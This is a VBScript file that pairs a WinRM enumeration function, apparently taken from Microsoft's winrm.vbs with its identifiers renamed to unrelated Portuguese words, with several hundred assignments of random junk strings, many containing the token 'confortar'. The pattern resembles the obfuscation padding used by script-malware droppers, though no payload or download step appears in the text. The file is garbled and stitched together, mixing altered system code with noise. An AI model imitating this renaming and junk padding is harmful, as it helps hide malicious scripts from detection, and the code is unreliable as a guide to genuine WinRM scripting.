private function araroba(burrinho, pentagrafia, secante, encartar, boletineiro)
dim filter
dim dialect
dim e
dim res
dim formattedText
dim flags
flags = 0
if secante.ArgumentExists(NPARA_FILTER) then
filter = secante.Argument(NPARA_FILTER)
dialect = URI_WQL_DIALECT
end if
if secante.ArgumentExists(NPARA_DIALECT) then
dialect = secante.Argument(NPARA_DIALECT)
end if
If LCase(dialect) = "selector" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"
End If
If LCase(dialect) = "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter" Then
dim dict
set dict = ProcessParameterHash(filter)
If dict Is Nothing Then
Exit Function
End If
Dim name
Dim value
filter = "<wsman:SelectorSet xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'>"
For Each name In dict
value = dict(name)
filter = filter & "<wsman:Selector Name='" & Escape(name) & "'>" & Escape(value) & "</wsman:Selector>"
Next
filter = filter & "</wsman:SelectorSet>"
End If
If LCase(dialect) = "wql" Then
dialect = "http://schemas.microsoft.com/wbem/wsman/1/WQL"
End If
If LCase(dialect) = "association" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"
End If
If LCase(dialect) = LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter") Then
If not secante.ArgumentExists(NPARA_FILTER) Then
ASSERTBOOL false, "-" & NPARA_FILTER & " parameter is required for the given dialect"
End If
If (secante.ArgumentExists(NPARA_ASSOCINST)) Then
flags = flags OR burrinho.EnumerationFlagAssociationInstance
Else
flags = flags OR burrinho.EnumerationFlagAssociatedInstance
End if
End If
If ( (LCase(dialect) <> LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter")) and secante.ArgumentExists(NPARA_ASSOCINST) ) Then
ASSERTBOOL false, "-" & NPARA_ASSOCINST & " is not a valid option for the given dialect"
End If
if secante.ArgumentExists(NPARA_RETURN_TYPE) then
select case LCase(secante.Argument(NPARA_RETURN_TYPE))
case VAL_RT_OBJECT
' default
case VAL_RT_EPR
flags = flags OR burrinho.EnumerationFlagReturnEPR
case VAL_RT_OBJ_EPR
flags = flags OR burrinho.EnumerationFlagReturnObjectAndEPR
case else
ASSERTBOOL false, "-" & NPARA_RETURN_TYPE & ":" & secante.Argument(NPARA_RETURN_TYPE) & " is not a valid option"
end select
end if
if (secante.ArgumentExists(NPARA_SHALLOW)) then
flags = flags OR burrinho.EnumerationFlagHierarchyShallow
elseif (secante.ArgumentExists(NPARA_BASE_PROPS_OctonianoY)) then
flags = flags OR burrinho.EnumerationFlagHierarchyDeepBasePropsOnly
else
flags = flags OR burrinho.EnumerationFlagHierarchyDeep
end if
on error resume next
set e = pentagrafia.araroba(encartar, filter, dialect, flags)
if Err.Number = T_O then
set e = pentagrafia.araroba(encartar, filter, dialect, flags)
if Err.Number = T_O then
set e = pentagrafia.araroba(encartar, filter, dialect, flags)
end if
end if
ASSERTERR pentagrafia, boletineiro
on error goto 0
if secante.ArgumentExists(NPARA_TIMEOUT) then
e.Timeout = secante.Argument(NPARA_TIMEOUT)
end if
if(LCase(boletineiro) <> VAL_FORMAT_TEXT) then
wscript.echo "<wsman:Results xmlns:wsman=""http://schemas.dmtf.org/wbem/wsman/1/wsman/results"">"
end if
do while Not e.AtEndOfStream
on error resume next
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
end if
end if
if Err.Number <> 0 then
stdErr.WriteLine e.Error
wscript.echo "</wsman:Results>"
end if
ASSERTERR e, boletineiro
on error goto 0
'reformat if requested
on error resume next
err.clear
if not Reformat(res,formattedText,boletineiro) then
exit do
end if
wscript.echo formattedText
loop
if(LCase(boletineiro) <> VAL_FORMAT_TEXT) then
wscript.echo "</wsman:Results>"
end if
set e = Nothing
araroba = ""
end function
bcxgLrfUnpCUcnW = "WoWkNUupSPkrqNs"
iikZfLkZLcQJLqe = "miKJtZpWUutelLu"
KRLNHbbIiKKoZfL = "RPLZvxUqbmlxWUG"
LGfhtfUNdckzkPo = "icUOxILGLbimcAW"
omkRicRGanLpzHu = "rcrBckocpRrGkCh"
kmGZLKkNWiZzWGr = "bQnlfhGQzHBPcAd"
LiRUJCGTbGGzunU = "lIWReCdkOKciWWC"
iiKgtcBfWWicKcv = "GKxLoLWiRKLmdKf"
hNGqGjCLzKAfrLT = "mJfUBcWWUcZKGzT"
beeKxQjWPWOfNbj = "ZbPsLWZtUnLhLpj"
riiAfRLezJhcpGN = "RisCjaxkIKqGodr"
LzLKobHWqcRfWGc = "UbNhLWtLnzKxRkt"
aZxRKxbcWKGcICK = "mZKTNcbPQqnWiRf"
biIhWmAkiipBmCh = "zWGkGcAjcNaNTlW"
CUJkepchhbxaezK = "khKzLBjLlLblsLW"
KikfPlTuzLHbhAo = "AkxvPWiWPBGpHGB"
BGKrPPPcmmWGKip = "GBCNGJLxiLhppNb"
nPGGSqOmQjRxWcP = "QoGJNuPnmLixZfA"
LtLbiApCbULfOLk = "WGtoOLmoumUcaBC"
mRheldGsrUpWxqI = "BioWRjxBhUGfcbW"
sLhcmkUUWCWrcSi = "loKczoHKSbzWGSB"
OWAAKtWhzLncOmL = "bhhWZJKfeZOpKPR"
gLpLIfShKLkQchZ = "NiozimJKieiRilt"
LhifpGKbNnfAhUR = "OccqWkiZiLOdWAW"
LlacfWuLbUqGUGk = "UOqAhLAKzWWpotR"
hWKNczciLehicPe = "hTKxKZaAbHmLTZe"
kbUzhlhxLkconfortarcca = "sPSgAocconfortarUNkKil"
jUAKGmlhikPvRzc = "bOOUAhWbfReiUKN"
LmUvuucIiLiqCba = "PGcxCLUxWzWqfpL"
GkAahqLfuqGAlAW = "AcUIoWjCLWKzgiR"
WGijnxhccLLWLkk = "AoRGoUNbNTqKttA"
RGugcWkiBOLLtii = "xxmtokisRmLZrAW"
PvnoKLGpoZLOiAW = "obNbLkiBuLOPtLO"
WtdBkAzcLoechdH = "OWoaONHKcLdPiGx"
nxGKhRBNKWWulfp = "nfdfAzWcKPsLfAc"
NKUdKKOUWkkmepK = "JceCzvKisUNbBLL"
PvZhKWzKiKtUKeG = "PzWKoLcfWZcvNWp"
kiPaULvUULrkiQW = "giLKnSuWzcnAxCt"
GcirUWWAcLvBTKU = "lZGLfmLApLlUnfl"
CcZBbLKiTLLUbih = "LStZWRNziroeZie"
xtpKrLPBsbPobcW = "UNGcSzkKeWqtbGA"
LmQiiiiLbZCLGlW = "piZqutZGmkchgej"
kqKuWcLlbSUnIbG = "oRZlngBbLiWNbkU"
GipRPpildeOpipU = "tmbjWdabiKboPqd"
obPIdBNNKWWgoLW = "fzciiLHilifLnKt"
fUgAGBTqPUlenih = "lRHdrWicLGWGLsW"
ccnnWAPhUKiWulh = "cLvRLcWKiopbOAN"
ZcGdBjkcodbAllK = "gWLdmZLWKccWBfG"
LuhoiSLhcWKkdBe = "KfUzitiRhbfLqGj"
iKncLGULWiiNBgK = "pOUhbLNPHKldtxm"
ZLipmULLLGLZbWR = "GpZpUexNZKoAloi"
jiofGRWTKvLbkWW = "bcfGkfpmUedWgmj"
axWkWBCPKPuUlWS = "tkQLeKWxhoiLWUW"
WkiZvjaWUflWisW = "PBLWUZcconfortarCmaqLm"
BWoLkZzzuWUQLii = "cTsZUbcAKLmlKLk"
AUkWGGbLAvclUCZ = "dbWAolePNWNeGbL"
ZZpcihcLQGifiLR = "LcKdLLLxmUptiNx"
ZKkGNKoZkOGimPG = "eWTIdLWdelWtfWL"
ipeOGGeaoWIveKc = "ePRfhodmLhaSLUd"
cmZJOaacTLqzcqL = "kLLkKGiKkNAxopq"
BaGeGcWUZaZQolL = "jmZxKWUmqpgLLWK"
LkWBzWKpKbPBlLC = "KfvKizvzlUCOzcC"
cRLcftdfLmxGWht = "ZionZnucUhmLLGC"
miuvZiWoWpvWPuP = "eBNUGbCRimiWLqt"
GOpKUtkAaPcNnIc = "AKPgKGrWWGQGOjW"
aGuBLNWLNOeGKkd = "KgccUmWRAvPzikk"
pigWLdNcKGmLLBz = "vWUPNmxxQfconfortarAPJ"
GqkkbmoZGfPCecL = "KqhdhCxKoLLbLsp"
xLRcBLLLtLmfoaG = "fiLkLmflWpIKccP"
KczJpWKoKLconfortarqRc = "cPKAfUPLxZkpnoS"
bsLcmcokWokpGmJ = "hCfPoGtBWWnqCki"
aPCtLiGcQxLiJSn = "cbiKkCKWKiCWIRh"
qWGpKnGnIflhqWi = "RdqceZpteLZLWrh"
LWkKbKKonzeCGCq = "nJvZZhfLCLqmcLK"
cRhaTuhmjZokGOq = "nWLNddRkhHZNSLz"
CZKOUAWKhdmQivz = "TcbGhUGGRqLjadr"
WiNWbKfjkiLazkg = "hjZknckeoeNeGiN"
fdRLkCCGKkKZbni = "xzicUWUkWpWfOAP"
rcsLLzULOUuiGzZ = "reWeTGknLcmZzPa"
ZfsLkaqtZPdkWCK = "xkdNigGjbjxdKLW"
rOiiWnBckWPApLU = "OluUiULihIzLznf"
cKLcckuKiupitnj = "xRRWCmUGkLqCiWm"
nLLiGRuRGinzfkk = "HWdiipcWLKhpBtI"
IiLbBxLKWLWLbAH = "nWnbWUOqCcctaCJ"
GkmLGLKQLsviafU = "PAUmWeNUxWiizNl"
AHiLbaWeTRHSdoh = "epLoBqzaiNcNlOH"
CLAicfWLpqNqLxm = "PWicLhkczsLnWLu"
ufmGOGecxGeRlmR = "eWkKIzGUJQcqQdA"
LZihGnbdimUdJCT = "ZGphoUNWmcPWbWm"
cAcsBPTCbWAniKN = "LLQkWWBZUGWLLoh"
xpizuWokLcAhkrW = "WSGilChBiArAtjp"
tbhczbhWhgGiROo = "NfJjWkORfGAmLUN"
uSpehBcoTbACfiW = "GdbUKbuKnkihKWl"
txhfWLzWnGecmaS = "vAWUGWWtuLIdLJz"
NNWCiKhbiKGglWi = "PGubkpJAcLRbZGW"
bHopQtLZWaWocKa = "mWIGKWLPBczhGcx"
KgLpiUmbhoLTcWH = "ippLzBgfWWZliBn"
xezxvaNpcGNaZof = "PfZTWgzGRCWpKjL"
LqTBaGKWLCquuNC = "iKconfortarLUiNsWmJucP"
eppzdshkLLiULaU = "vZxOkxosLeLodmi"
UApWGKcGcLWSrLt = "iIcBnePGKxLkSeh"
WBrqcGoJmOUmdqh = "cffiLmUkuOZNWPC"
mROWCRKGUSzWhoH = "dNWqbpmUKKKzZKk"
LGZZxohuPpWxKhv = "mekWCkojpQthqRm"
GLfKBKRAApdWcCk = "jvhTWcokUkLRbZn"
LZKZWdoRldkLWai = "LlLUKAGiGboLAKU"
hhSvOJcWLxHWZct = "CCtoihQGGJqUcQf"
LZuWfSuoLhzkciz = "cjRcKthLcbiKtkd"
cWumRiWmqihiZGK = "pujbpWBAgBfOLZc"
pcLNJKdLLcJpmzd = "hBqPdLAxKebUfSt"
KARiWfokoQBoUkU = "iKJoWLOGfCmbLKo"
UabuqzNifmkvKWJ = "lPsdOfNNbziihAL"
oCveCGvcZAppZPK = "oumGirZAhWzvliz"
oNhZzicuaWLJbPr = "bckhkLiLNebUlOl"
GPooLguWCPGOKKK = "piKPdhkiWpWfokK"
WLzPxLPobqKUgZp = "oGKUujPKisnOCui"
UAoWhkWtLpLiGGL = "txcOUkTZkWNixBi"
JSKiuLLxGzfhoLz = "LGuPcLQvWkJkUNW"
laqWWpKGSczWdoi = "xxtguZOuWhUhhfT"
WiiuWKxCPOxBcNx = "gWZiAIbLGKKcANf"
lqniuLxPGmlKpoG = "ZeUNpCAlnPdmcbp"
bRAluWapfHcuTGr = "WIOkblaPnWHLrBR"
iiPWqPLkJCKgigL = "WjiLiicGoCcqWLO"
LIUCWopxWLLIGPP = "KWGGdNUUWGRlimt"
PRelePlUOWLiKkW = "cWniRizWZBBLJKo"
iWfLAApfoSZlbTW = "RhchrAJLKdcWmdm"
bAkuUKbQpeNRZcG = "OZhQcRzWbtPZLih"
sznLsbLxoHGRGAU = "LSGLIullLiiPPkN"
hAaWHKtafWPRtWW = "fksLAKiiLUKbWit"
goiKPbLbnUgiKLO = "WdlsmGJfLukACAk"
WWpWhUmqnepLQpg = "iTGhozjUncmorWU"
NTkJeCfkJKGieNc = "GbBWlbPWhazqcZW"
jSJszhKBqcfUGdH = "GzLqBqCLLfUGolt"
GnLuZZcWIGiWhcA = "fcOckGhGkKLuWAC"
WlUbqmGniGNONAj = "KUgWigWlsaxugWl"
tscmKLHLUTWkroB = "PZhWkLrKhWdNZUG"
TftKLWWmcfRfZWj = "xdNmmBWzbTcpxLg"
PPLskmeZuALQmiS = "aZOOfNKmKGzPbIk"
RNkkNGfLBWLzUZh = "vzGAuuKUlZLthGG"
diGCbKPbBOiGGcl = "iieKLGxLcAWJKWO"
TPpbapNetCeWipZ = "aHKCqmKKipGpRCZ"
iKazWiBIoCeLUbc = "GrWeWPGceLKbUci"
LzcWPfJPnWiBKOo = "RoGNOpcziCiUWzo"
BGUOjqNePeiZKUL = "OKWmifWLuLONkAL"
xuhtuhNxhZGizLn = "IZdKTxrBdzmAqPx"
KWacUoWcPzKcTKL = "emjGKLkJJGRuconfortarP"
fkPAAfLJeUWhfWt = "mIWhpWGGKkiGkcA"
kpIchzjKicWUGHS = "APkCWzAmKnUfmWW"
CWLhjOxdfzqkoid = "KbCUcfnLROfLKKK"
ZRdPWiHhLRCLgLK = "qJWAeoWiKKhLTlh"
xxLBecHKpCLpuLL = "ilSnNrqcBmUWeUL"
aAtxGAKmcCbQUUU = "pBxCiWUeonxahpk"
pLkbLqlLlHBiKKu = "WLWgnlfkKLcrUUG"
GczbKTKmWLlPieL = "cKeTAxspudUbKJj"
WhazLAKZrkcciPz = "mocNcAGKqKHioRk"
LqdkoWhPPLhoqtR = "NGoetLWzlLKiqfA"
TbtnUhzNhjfiqWf = "cAOLbpucrBiLktf"
kWfSAZnTlLpzRok = "pUuQWUAfCgLHcQL"
ZGiLdLecKONcarn = "IWWANWulUcKczrk"
jidfofhexoUANfL = "TezdBGcxLbglBcp"
vzTLLdxmzIzirCj = "IRlNCcKjSzbIiNT"
hNOWUeftLTKZNiR = "oQnaAfQGelbnqco"
HAfpcUGLPLqhKpc = "WKcGZZZPLKWScob"
lGRPhULWPRtkKGz = "AcliLitWBGLbKLp"
lhpacLcLGcmCGWs = "NKWkKqWJfoWfUUk"
AWeeKQLWKWLNicU = "iJffdABPRkLbWie"
eeZcchWCZLWkadt = "hhiJAzhWRPfcnbO"
ZnPBcKiIilCWPiN = "kcpogARAdGkZdOW"
csOoqhkuLSWCdic = "pUmppLKNKxiaoWU"
hGpiAaeGiOJnkdN = "KClCKCUauupWctx"
kZCfkxGLpknUqWB = "uNnprcpcfKiULcb"
LAPfzjRUPWAKGbL = "amBUxbiPKeLqeRi"
eZICJKdPsNifWxI = "soAkUrOixWpWLRi"
SdCGWOGTfzAagcQ = "LLconfortarofRGNjZsiLp"
KpANeWcGGecaRkK = "mUiZpsNaqiUhLpc"
iWunzcPuotBWLLG = "SKhcRfngUBpWkZK"
WhLTtzUuCbeoJto = "LkCRZOKKakKIkGA"
WLWuUCzconfortarLLhzBx = "ixUJiQePedWAipi"
LiNPeBLAprscOGf = "ijOaPeihGgLxZhA"
bGllLcxfxaZLLLR = "gxxWuhZLiKALLpA"
cNakWWAhUOQLklK = "kfxUAGfxosIzxHd"
WIBQfsAqabAqhOT = "confortartnKZUAzPWfGZc"
KfOthRGAcfOlqKZ = "lCIiOdqaLKxeoiR"
pHkWUmQUmLABurA = "TkJoPtCKUUWLoPe"
hneaNKxnNKfLNog = "CezWUnOeZKiLtLA"
qbAnZcoWkftdcpU = "RTZtQWcmhhPWGUL"
zcNdeqcikKAoJzU = "cToaquGKqeCfaLT"
LLRkNNCdNOcvLdR = "zpLJBefuaLzKdRL"
vKGcNroWWcWzZkG = "KzqLzsmUWKiGWas"
GShOoRmvzePtcra = "ObcLWkGiPClLaoN"
qTegcdLeoRbiZhf = "vWNUlaPLplRnikW"
LtPWkRLcGmqoWNc = "ftozfRlkzqGZknW"
nhPzKlGWLWuvGLP = "tteLLaKZBJkLNRl"
iLpxUUvlcoCiLWL = "ZcdeiiCpGWGWLUz"
hJujhZPoUWUUciZ = "GUinQlpkdiZbiAG"
WbdKAiZAQktLafN = "PLWupGLokvIiLqK"
oGAsWfjHezcWPfb = "poUgLqqCnuaLKeK"
fecBotrChLOtSBW = "cnvNGzGLOAKpLUc"
nNsduitTcGLNAii = "WgURtCfiKPeoKGi"
RbuGQbWniLiZZCB = "WPLdgQiUKmoKiZK"
QCPeLZciukLKAGL = "ZAlKicPkKumnALT"
WzUbmLmBLZmkWuP = "WLizRIULpSHNqWG"
bGtduPiCWbnaccZ = "kWUbhWLZTziiLBk"
WdQiWAuUpReNnNd = "ZUILmhZncndzUAW"
PWaiaNNKlmLLqcG = "BhWiZmpApfOLWZm"
iKJsLLUWWkiWLWj = "hfziBZdkLGGGBsr"
jGWcifboqWUefKU = "LPskHKRiWLONofK"
fLbCcrUWiuPWALz = "KWHrLGheZnlCLkk"
iAWOchoUoCpUiUi = "KutbLLGpGmbkcaW"
GdnWhpKuznZfhKj = "bGeSZkOifoLAWCW"
vtCGRpWLGmLhiZL = "GGcgBLdQcBqzKQL"
LLijGlWbZGjWLAp = "RtOkqkAWkjoZGtL"
pKxLihpLcoconfortarxlO = "nWuLWWqcPthZJOK"
GfconfortarImLNsrxNdUt = "qWKNlczkLKkWcLG"
pWmZbWNWocGqoBq = "JWLoheWZoPLLNgq"
aKkKWKchPZficonfortare = "zLlobKofLucqlKC"
WWANWuWbiJWoLap = "dUiAJKSgLklRtsi"
mKKepxcLpimoWLT = "iLbLLLWsnuIWhmm"
RfiLWifACkioZPi = "kOrkoZeimtkReKH"
zKWLzLiGHBczHKW = "JGLGsLuzBgKgAmI"
iLrNUoWIKjpOPAB = "emoLONqjWujKcAI"
hLUOmLUoQKcrgUb = "oPuUitLdilbRCoZ"
CcKZhtxKvoLpbLG = "NNWGckdIZuARkca"
moKBlUkWUfiUlUb = "LInZuPUAAKZiIfT"
WziufAUobziCucL = "QioAUpeRqLiKKaL"
HCZZiUWkqLfkLii = "nWkGohkirvWiWGW"
xSbNRzeckbKfSvG = "WgZgLdBrhiWUPGW"
huPbixGRPLNhKRL = "LmLLrZisNNbLZfq"
cLnZWUGZlkKpnpQ = "GiaLKWgfgAzGdKL"
ZpGWKWSbzWcuoOr = "dpRPKkTLxGWeLoi"
zrmolKGNuWLUPAj = "aLhWSkUZkfLWAcP"
AxLcGNANKtixlqW = "ssWmkkWPNcPokoK"
NcduGKPZzAiiieG = "RdiKOUZifkLSOdG"
aiCWdZdZoxUeGKs = "lZHepBILcqUktdq"
LLIGhWCIGzmGrCO = "zAKLrZhcihLfGiK"
ULtbTtGPepWLbna = "mfKpqfKAsOnfqkZ"
oxWRbHUmPitCTGh = "bCWAUffbthxmKcb"
qBmSzkxuoHPKlUP = "OjmkLGnquLLZbUt"
KdecIOihuWGOZKi = "KhacNqtGGULehkh"
pvWcUWNlQeLGzHx = "cdiUukNWUUtbtLe"
oWKPacSpbxeGalr = "LJlAWuLbeiWBorz"
LmociLGWxoWcKOG = "WClnZUZnWArZuli"
zatcpNpmelirvKz = "URAconfortarCIfhibLcok"
GNGLCrLgZNkUukT = "LdiSBGkLKlcPckm"
LWodhaWLtkopLBi = "oNPBPmcWhkOcLLQ"
KiGLZpiQlGLktLt = "NARNfGzLemmiLzW"
bmhzGZzezLLApxu = "HbLNRojunOZqKLn"
AZpLuKRWmKNjAzH = "LtGkSkARULLhtWK"
UNxfbGSicLmlhim = "oPcnpmxWhbbIPZZ"
KNePRqcKfLNmWRL = "GGWtqjvHhKieCZN"
ioxNIHWbPRaJdGH = "npUofmfkKTAPbUl"
ABLjaLWnUjluioW = "fiKPxavLLKPWpco"
UiZpqThcAnLNCTq = "aUaLAGCZqLzRici"
NvcGckcWitaKNKh = "ZLnditWWshLtkWN"
ioQhPxueKLuWqcZ = "cKNCekmePLohWlp"
knunqqiibTKrfat = "OtvcQCCmvGUkfhL"
gABWZbNKKJaZNKN = "cNxxpbtpcPlkxgp"
PhZfAlSBKUJLRGG = "RfKpkKiuSbTafbc"
LLhJAZKWkWehceR = "LqouUriqAQKpkJs"
LLOUALxLHCLbWKt = "ixNkigbHbKWhRGp"
LLTggWUiiWdWPlB = "ckcpkUOcoWilcHU"
STGdWLNpGfUAddk = "LmWmaUNkpfCiccG"
vOxifiZPWPLUlmx = "NitLOloLiHGAfbJ"
LLQWPKIpobzzoaG = "ReTUzakPWWndKap"
coWuxumTUmeIKbz = "WiQpKdWHRKTehGP"
bZNqAiKLrkcoLqU = "BkfxBgKmLRoTLGv"
UouOeLxUpOmWcer = "WWgkGCPLWbUiWmK"
hpSLWLKqWkAxZcf = "qZLfkbGptvnaKbb"
NnPqcLmNtzBLZmi = "hQkicpnWRopocRW"
LeiuLUGLkSLecoC = "oxKCezccWbKPWIi"
IGLdqOkoGpujvhr = "ioIPCoGKaALvtoN"
GmWhuPBcxipkRiK = "UAuNZfLqZTWCtLe"
pPKizWpzzPUqGhn = "LrBhARoqmHNRLre"
oQfidQJiGcLhlIb = "confortarzszSilUzCdcPK"
WWLGLaLlKieZWNx = "JpWncLlKaheJhKA"
efiLrcLNhsJZRWN = "CKUtxUbeCLnWUKW"
klHjxiWdiKmmcWW = "xsWWILZncWtKKiK"
WLIedmAlUPiLWel = "apiGKWqvLbWgciP"
guqGGkxohfeKWUP = "niRcbkLfZGgLeKP"
qivLkLeeNKKfBWx = "WHWukKsrttKWtRW"
vicipLNCLApLBGZ = "bZBKuKolxLKRLLB"
xUqicAShAosmAvB = "QWGionLcoWpKkcl"
ZSorLLAfZmrfNtG = "WefRefviWApKBhc"
cGGhRWKomKKibmG = "WabzuieSZooGiuR"
mgkfmuPPgGmTdGN = "opfLKuLWRanLWKL"
eeklGWLivLWLQKm = "ThzWcNnLLAaBdrk"
KcfjTWGPemjtpmr = "pmKmOLfeLZGLOZl"
ebBpOLccbCrOfkU = "vzeKioLoKHLBmWq"
CGklSqLLWThfLbL = "GAufPCfTLmmWmLW"
PfhxCWBzKHKWapN = "aRQzKuPzczcdkPt"
bLpzJWzWWUGnLed = "WcdpoWPKJzKpWxc"
WxQmWxzcxNbLfco = "zZPeUrWccCkbWdU"
aLkRLrLNWLqZKCk = "nGcobUJLqKkmhconfortar"
uLKjPpHCWscclKK = "pncpLKcfKbaWmLU"
GLZNoeiKkNWOGbL = "zznoLCCobHibLxL"
oLehWdhiLWetKbi = "WkKaJCobGWWpWhc"
SbmkkieraacKLci = "GmKkvWrpLWPOAZK"
ckZfLeccLqtHztH = "ocBqLeLAiBPaKKL"
aKUcLtWiBBKZLBz = "xLebLqWcPLLxGtU"
idtconfortartxuhUfLOAb = "nWTPImWiIQcCiWL"
jZbLnKLNsvUWGAz = "iWeoLHdcbrnOeuU"
ozLLUxpRUsLSKGK = "LWBzuzfmWLZkUmt"
mtxdLfKbLikWWkd = "grWBUNeALGLZitt"
UBfWAZzuOxGUuBo = "WOKnCcKhfPlxdrh"
iPjgLetZLCLWKUW = "LelhRKpzpbWCCcA"
iTqmTSqAWAiCWfW = "LacoiiUoWpLLdRO"
KvLnWGiLWUiImkK = "iktimLiZcWlfmxW"
PLkZZrcAaWWOZog = "LGizGWGPieLpddn"
LxidLoCAcAkPpfg = "WCiKLJaZcrCBdLa"
uNROkvvlemOOfpg = "SkceZcvBfePmZIb"
LLAbCukbCWLWiJp = "BRtgUWkzconfortarePNiL"
siLxrhLUCWiiizL = "bWoWNBKogkeGJPZ"
KOaBxCtcqteAQCU = "AqeiUaGiIGBSTZb"
BccjkhkPCeBKeth = "LWqRNPqPfSKcCie"
zOrcBiWWfjhZLAZ = "ZPnqNUZicZoxULu"
BAkcUWdBKkLGvLH = "LLoZGkKBLpzBWZm"
hCeWZdWhWhUKsei = "WBWjeLWLSLWLmai"
GBOefkdCCibLRWK = "erLKziRBeZACACc"
tGLsNbmKimoijKo = "AWLUqHmLGqPCLAo"
UkPuWcgklicLpbp = "WpGnaPLGUWmhKez"
ohkcTUnWQloPziS = "bLiotkmimhororL"
QtUdLQKNzgeLWUi = "sKKRphzqPUWhhLi"
WHvdRmKCLbGzcUK = "NWUCiWIUBhslZkU"
qRZcNSceeAiALKe = "LuUiAkckuaNubnz"
UuCxWLLzxLkunAK = "hWKeCfkpzcaHLKa"
cLWNWrxZWiinIKW = "WPpWGaNknkJNCoU"
PGRvZApLrOIKLmx = "GCrconfortarhPSbkgGxZe"
NrUogdamgxNRiNs = "mqhKfZLPLnKiimL"
tZALxLhtWocKCQu = "bKmcemidKnWLRoG"
okZiKIhqzNiKLkN = "kLkpbZHLxoPhheb"
uUWPfHpgHHAfLKl = "ieWWLaRpAGtLdpW"
PLLotqejeWLBUUf = "xJzWuIztUdzKjLP"
cLhiLbpWWdNfWGK = "LZKKGWhBNRfkcht"
ZkKUdrWtUUJoCkL = "pKedkdZoHAjKZWh"
BBKdRiOTGebqKpc = "gcBeNWZccTLZCpi"
ZWzLUZWpkJZGUld = "bSmLzWWWArSfnKU"
fkLLoLUNKkAIhpd = "pnLZkclGROWNRLz"
LLWebhcbAUxLAKG = "THPOgPxrSKLRrjt"
LimPkPhuconfortarOtiqK = "WWTepeURiRraKWb"
LWzSdTZlLLLLxzk = "OeCGWtbzeWlnpWP"
zLUKlPGOanplWmi = "PeWefTNkztKLLLi"
ZHzaoJvKPkLWfoG = "AZcAPkpUbtZNucS"
ueiLWKzLScsCZKA = "UcCGksPUcxLifOW"
zzILKlWBiLWRkLi = "gjCWcGdrmtcOKiL"
KGWONxHAZBUPURZ = "mkRGpSnGbLPdkNn"
cGUNcJGzzmihLoL = "WcWWzPgLfWLpbni"
UKcQLBUzKLCRhPA = "iWKtkQckpKcLLconfortar"
kUqWmzWibUkCfHW = "pQLGGKzLLKtiZLL"
ufAdONAKzKgWKWU = "cRLGcjbeLWAnUeB"
oHkWoLWiKKkWThc = "ikrcGilhnWZgqUW"
LcKhKoLBLNZHLnS = "lKWZbozfNZOJunB"
CeGbTfWRuKLzCWL = "kUqWWvLhbOWvGdP"
LkceiCnbeWtmAPo = "ZnNebexReskkLgO"
WrGtbLbNoqLWloP = "zvBPBPWiNGzWNto"
GaUfmmCNPumGJze = "GGPLUUoLKbKLBvN"
WLWLZPnGBeLfmAA = "rWfpkmcpLKeuNbG"
UcWGdxiHAWoLAcm = "PzAWPGifRfoUGbL"
fCemAPqWWbLssrC = "xWljZWPLCeLaconfortarP"
xZdfZInBovKoWmG = "WUKKKJcZBWtrkuR"
hOmWNZLIhLtKoKG = "TcGCuoZHQWpWLSr"
dWkcAipqLAKLdjl = "LtcZPWbozclUGPO"
ZWGfKiZpWKiAsLN = "NgkmiWxqzdTUGfL"
OnWWGiNRlLqGibd = "okpCGUWLpikaGzL"
oNOiGueGWGOkWAW = "fiUtoKLGsKGqKWW"
hjrzgbWKzGgKLfA = "lbLebcbeWQfoKok"
hPnReboteLrRaho = "iLCCjbmkcguZeGU"
cePdWIodLGKKlfU = "dcvsKhzZxLBAGhm"
ZWbLBURQBfbcuKb = "ZeNZzWRixWolarb"
ptkGeiLGLLdiGPn = "jfHUGiLdGcWbHqb"
ffmHRLhqBZCUnBW = "sNNbzcOiinLGpKG"
nKZcLBGtoUfiNnI = "ihLzPNKpWAuWNbW"
kpWGkpOzUGfhWNk = "WBZGmiaLUZKWUJW"
nqhpAKWLKcSTZTo = "WdGznaPNbPUshhc"
JWzoPhbCHfmiqKA = "PzUaaZNBkeWOiLL"
kZmcGQINiCUnLea = "jqeiRneAWkcOueK"
ZaGKGWczZPgcRWn = "KjWakapBepcUbiC"
hcNZKRmKqobJfvz = "CrcNzHWbpRlmuLq"
GbWGqAdRGdrNNRQ = "bLiKlCLtjZdWGAW"
zAdhWhkkiWAtTiL = "hTLLiBiIeRLUGNP"
pBiliadBBZWoCKK = "hoLhLesppoNbqRh"
copIkfBoWWfcmkk = "kzGZubqWnSzuCbK"
WpAcKqooJWAULtz = "ciSmmiUqdxbnxqn"
uqLLfSGlRAflZKL = "mLKenWKLzkhnkLC"
qdKiZOaWoegglLL = "gGAKhzcUzUveNBa"
KakuUdpkHLZLKLe = "hBpLpGpxivUlxca"
JTeclzZeCPKNiLP = "NWATGZfkjCnBScZ"
jlRWKKzPLzvuGqk = "fWKkmZQaOxHAjko"
cjkoLBKZrqcRiPk = "AQcGkOAOkUahiPW"
WUnoeOLegLWWexl = "KazdKhujippUixr"
uNcWcvWhLTZUTHq = "eLAenLaLGaJnULT"
AOUOULLkPpLImuk = "qKiKxepBvpLpWdU"
PkZWShkcWkUpLAL = "ndWWPUieUoPWiUP"
cdKfLAxectCUWconfortar = "WLOimATGKQSGAWg"
LNiNAWjdqozCbNu = "WbKWaaqrlKiZcce"
oZRbLGiKzfLZULL = "UPUbCZxqWIrRnLh"
UPiLLUPhzvoKNjn = "cHWiWHLtbRKcLLI"
ubfkKOfCLxUKxKc = "piLKdfiLLKNJhJK"
LvxAhKGWGxrfclW = "mKqZNqKZdsZuZdW"
fiRWWavWPUKcRff = "lWvcGhbHCLiAAoZ"
cgsiiAzlUnWNPtT = "LtKiixcKgeKpeLm"
oorGdKUtizBtNWs = "BzKkLmTLdmPLOUB"
gKWiLgickctnCZk = "ILLKvhdUGGtLdQP"
oKNbJcLWnGkKZLu = "CBLKnnGBJqLWNWQ"
iLqiWWLWiaWBKoW = "aijKoKcmprgapjd"
azPCAtfpGAGhpKW = "xikANZCKrLkRiGL"
WLmqLLWLOKoviiO = "ZhPicNUsuUWdIdo"
zUCKLZdoJAlpLZc = "ZdktWodkLcKkKiZ"
IzhTKLJKunCdnZm = "lWBqucRpxZfIpZi"
